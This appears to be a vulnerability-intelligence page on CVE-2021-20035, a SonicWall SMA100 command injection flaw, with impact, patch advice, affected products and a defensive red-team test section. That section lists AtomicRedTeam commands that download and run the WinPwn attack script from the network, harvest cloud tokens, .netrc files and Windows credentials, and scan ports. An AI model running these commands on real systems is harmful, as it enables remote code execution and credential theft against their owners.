CVE-2021-20035
Overview
This vulnerability is a command injection flaw caused by improper neutralization of special elements within the SonicWall SMA100 management interface. The root cause lies in insufficient input validation on user-supplied data that is processed by the system shell, allowing injection of arbitrary commands. The affected component is the SMA100 management interface, which processes authenticated user inputs without adequate sanitization.
Vulnerability Description
Improper neutralization of special elements in the SMA100 management interface allows a remote authenticated attacker to inject arbitrary commands as a 'nobody' user which potentially leads to DoS.
Impact
An attacker with valid low-privileged authentication can execute arbitrary commands as the 'nobody' user on the SMA100 device. This can lead to denial of service conditions by disrupting critical processes or the device’s operation. The prerequisite is possession of valid user credentials with access to the management interface. Successful exploitation can cause service interruptions, impacting network security monitoring and remote access capabilities provided by the SMA100 appliance.
Solution
SonicWall has released firmware updates addressing this vulnerability for SMA 200 and SMA 210 devices. Administrators should apply the patches as detailed in SonicWall PSIRT advisory SNWLID-2021-0022 available at https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0022. Upgrading to the fixed firmware versions is the recommended remediation. No alternative workarounds are specified in the advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability within the management interface of certain SonicWall SMA products stems from improper neutralization of special elements, which allows for command injection by an authenticated remote attacker. This flaw occurs when user input is not adequately sanitized, enabling the execution of arbitrary commands as a 'nobody' user. The implications of this vulnerability are significant, as it can lead to unauthorized actions within the system, potentially resulting in a denial of service (DoS) condition. The affected firmware versions across various models, including SMA 200, SMA 210, SMA 400, SMA 410, and SMA 500v, highlight the widespread nature of this issue, posing a risk to numerous organizations relying on these devices for secure remote access.
Attack vectors for exploiting this vulnerability primarily involve authenticated users who can access the management interface. Once inside, an attacker can leverage the command injection flaw to execute arbitrary commands. This could be done through various means, such as manipulating input fields or parameters that the system processes without proper validation. For instance, an attacker could craft a malicious payload that, when submitted, triggers the execution of unintended commands on the server. This exploitation could lead to service disruptions, unauthorized data access, or even complete system compromise, depending on the commands executed.
The real-world impact of this vulnerability is profound, especially for organizations that depend on SonicWall SMA products for secure remote access. If exploited, the potential for a denial of service could disrupt business operations, leading to significant downtime and financial losses. Furthermore, the ability to execute arbitrary commands could allow attackers to manipulate system configurations, access sensitive data, or pivot to other systems within the network. The business risk extends beyond immediate operational impacts; it also encompasses reputational damage, regulatory repercussions, and the potential for data breaches, all of which could have long-lasting effects on an organization’s credibility and customer trust.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest versions provided by SonicWall is crucial, as these updates often contain patches for known vulnerabilities. Additionally, organizations should conduct thorough security assessments and penetration testing to identify potential weaknesses in their systems. Employing intrusion detection systems (IDS) can help monitor for unusual activities that may indicate exploitation attempts. Furthermore, implementing strict access controls and user authentication measures can limit the risk of unauthorized access to the management interface, thereby reducing the attack surface.
In conclusion, the command injection vulnerability within the SonicWall SMA management interface presents a significant threat to organizations utilizing these products. The ability for authenticated users to execute arbitrary commands poses serious risks, including potential service disruptions and unauthorized access to sensitive information. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to detect and mitigate these risks effectively. Proactive measures, including regular updates and robust security practices, are essential in safeguarding against such vulnerabilities and ensuring the integrity of their systems.
Recent updates to the CVE-2021-20035 vulnerability reveal a measurable increase in its Exploit Prediction Scoring System (EPSS) value, rising by approximately 14.5% to 0.0454. This upward adjustment, corroborated by CSURFACE threat intelligence, reflects a slight but consistent increase in the likelihood of exploitation attempts targeting SonicWall SMA100 devices. While no new exploit techniques or ransomware affiliations have been identified, the inclusion of this vulnerability in the Known Exploited Vulnerabilities (KEV) catalog as of mid-April 2025 signals heightened attention from the security community and potentially threat actors. The vulnerability’s EPSS percentile now approaches the upper decile, indicating growing relevance in the current threat landscape. For defenders, this shift underscores the need to maintain vigilance around authenticated access controls and monitoring for anomalous command injection attempts, as the risk of disruption or unauthorized actions remains tangible. Although the threat level remains medium, the trend suggests a gradual escalation in exploitation potential that could precede more active targeting, warranting continued observation.
Affected Products (15)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sonicwall | Sma 200 Firmware | All |
cpe:2.3:o:sonicwall:sma_200_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 200 Firmware | All |
cpe:2.3:o:sonicwall:sma_200_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 200 Firmware | All |
cpe:2.3:o:sonicwall:sma_200_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 210 Firmware | All |
cpe:2.3:o:sonicwall:sma_210_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 210 Firmware | All |
cpe:2.3:o:sonicwall:sma_210_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 210 Firmware | All |
cpe:2.3:o:sonicwall:sma_210_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 400 Firmware | All |
cpe:2.3:o:sonicwall:sma_400_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 400 Firmware | All |
cpe:2.3:o:sonicwall:sma_400_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 400 Firmware | All |
cpe:2.3:o:sonicwall:sma_400_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 410 Firmware | All |
cpe:2.3:o:sonicwall:sma_410_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 410 Firmware | All |
cpe:2.3:o:sonicwall:sma_410_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 410 Firmware | All |
cpe:2.3:o:sonicwall:sma_410_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 500v | All |
cpe:2.3:a:sonicwall:sma_500v:*:*:*:*:*:*:*:*
|
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|
Sonicwall | Sma 500v | All |
cpe:2.3:a:sonicwall:sma_500v:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 500v | All |
cpe:2.3:a:sonicwall:sma_500v:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
52%
|
High | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
45%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-20035 |
| psirt.global.sonicwall.com |
GitHub CVE
x_refsource_CONFIRM
|
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0022 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-20035 |